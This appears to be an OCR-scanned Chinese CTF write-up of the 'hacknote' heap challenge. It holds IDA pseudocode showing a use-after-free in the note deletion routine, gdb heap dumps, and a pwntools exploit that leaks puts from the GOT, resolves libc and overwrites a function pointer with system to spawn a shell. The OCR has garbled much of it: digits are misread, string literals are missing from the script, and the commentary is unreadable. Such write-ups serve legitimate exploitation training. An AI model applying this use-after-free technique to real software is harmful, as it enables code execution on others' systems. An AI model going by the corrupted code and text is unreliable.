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int sub_8048956()

{
puts("-------cccccmcccceea- o
puts (" HackNote ")
puts("--------cc-cmcmmeeeaao oy
puts("” 1. Add note o
puts(” 2. Delete note ") s
puts(" 3. Print note Y
puts(" 4. Exit "Ys
puts("------------cmemeeeo- ");
return printf("Your choice :");

} CSDM @Magashil
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for (1 =0; i <= 4; ++i )
{
aft [ Iperli] )
{

ptr[i] = malloc(8u);

if ( lptr[i] )

{
puts("Alloca Error");
exit(-1);

k

*(_DWORD *)ptr[i] = sub_804862B;

printf(“Note size :");

read(®@, &buf, 8u);

size = atoi(&buf);

ve = ptr[i];

ve[1l] = malloc(size);

if ( !*((_DWORD *)ptr[i] + 1) )

{
puts("Alloca Error");
exit(-1);

}

printf(“Content :");

read(@, *((void **)ptr[i] + 1), size),

puts("Success !");

++dword_804A0e4C;

return __readgsdword(@x14u) ~ v5;
} C5DM @MNagashnl

IDA View-4 [ E Pseudocode-4 B3 Strings window [
int _ cdecl sub_804862B(int al)
{

i

return puts(*(const char **)(al + 4));
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printf("Index :");
read(@, &buf, 4u);
vl = atoi(&buf);
if (vl <o || vi >= dword_804A04C )
{

puts(“"Out of bound!");

_exit(e);

}
if ( ptr[vi] ) |
{
free(*((void **)ptr[vi] + 1));
free(ptr[vi]);
puts("Success");

}

return __readgsdword(@x14u) ~ v3;
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Freet %, HiAindex, freexfidfibh, WX BEHXREHEITES, FEUAFTRFIR

nsigned int sub_80488A5()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-16h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(@x14u);
printf("Index :");
read(@, &buf, 4u);
vl = atoi(&buf);
if ( vi <@ || vi >= dword_8e4Ae4cC )
{

puts(“Out of bound!");

_exit(e);

1
if ( pte[vl] )
(*(void (__cdecl **)(void *))ptr[vi])(ptr[vi]);
return __readgsdword(@x1l4u) ~ v3;
} CSDN @Nagashil
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add(24,'aaaa’)
add(24,'bbbb’)
delete(0)
delete(1)
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0x11

Ox8ef7000

0x21

0x8ef7010
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X/40wx Ox8ef7000

Bx8ef7000:
OxBef7010:
Ox8ef7020:
OxBef7030;

Ox8ef7040:
OxBef7050:;
OxBef7060:
0x8ef7070:
Ox8ef7080:
Ox8ef7090:
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Ox00000000
Ox00000000
Ox00000000
0x00000000
Ox00000000
O0x00000000
0x00000000
0x00000000
Ox00000000
0x00000000

Ox00000011
0x00000021
0x00000000
Ox00000011
0x00000021
0x00000000
0xoe020fal
0x00000000
Ox00000000
0x00000000

0x00000000
0x00000000
0x00000000
Ox08ef7000
0x08ef7010
0x00000000
0x00000000
0x00000000
O0x00000000

0x08ef7018
0x00000000
0x00000000
0x08ef7048
0x00000000
Ox@0000000
0x00000000
Oxeoooo0o0e
Ox00000000
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payload=p32(addr)+p32(puts_got)

add(8,payload)

Addr:
Size: O0x11

Addr:
Size: 0x21
0x00

Addr:
Size: 0x11

Addr:
Size: 0x21
0x85b60106

I
Addr:
Size: 0x206fal

0x85b6000:
9x85b6010:
0x85b6020:
Ox85b6030:
0x85b6040:
0x85b6050:
0x85b6060:
9x85b6070:
0x85b6080:
0x85b6090 :

] L% 5341 140x0804862b F 3 5 A T 0x85b60084t, FHKiputs i ¥ /1Igot® 5 | 7 51, 2 JSdump— FOME, #tar LA

Oxo0000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000
Ox00000000

0x00000011
Ox00000021
Ox00000000
Ox00000011
Ox00000021
0x00000000
0x00020fa1
Ox00000000
Ox00000000
Ox00000000

0x85b6008X N (1) bk 4, H4 putsfrigot HIHI KA 4T BN Hi >k

dump(0)

puts_addr=u32(p.recv(4

))

libc=LibcSearcher(‘puts’,puts_addr)

offest=puts_addr-libc.dump(‘puts’)

print hex(offest)

sys_addr=offest+libc. dump(‘system’)
A] LLid it libcsearchertk £ systemef %5 () J;La&lLlLk

HTEA J;LJ:lLlJJZ[D ,
BT kEA
system (system;sh)
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delete(2)
add(8,p32(sys_addr)+
dump(0)

H—K, ¥systemfrihiit S 24 E i) 26
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lIsh’)
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0x0804862b
0x00000000
Ox00000000
0x0804862b
0x085b6010
Ox00000000
Ox00000000
0x00000000
Ox00000000

0x0804a024
Ox0o000000
Ox00000000
Ox085b6008
0x00000000
0x00000000
Ox0oo00000
Ox0oo0e0000
Ox00000000

0x00000000 CSDN @xNegesteh
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from pwn import

from LibcSearcher import

addr=0x0804862b

def add(size,content):
p.recvuntil(
.sendline(

.recvuntil(

.recvuntil(

p
p
p.sendline( (size))
p
p

.send(content)

def delete(index):
.recvuntil(
.sendline(
.recvuntil( )
.sendline( (index))

def dump(index):
p.recvuntil(
p.sendline(
p.recvuntil( )
p.sendline( (index))

payload=p32(addr)+p32(puts_got)
add (8, payload)

dump (@)
puts_addr=u32(p.recv(4))

libc=LibcSearcher( ,puts_addr)
offest=puts_addr-1libc.dump( )

print (offest)
sys_addr=offest+1libc.dump(

delete(2)
gdb.attach(p)
add(8,p32(sys_addr)

dump (9)

p.interactive()
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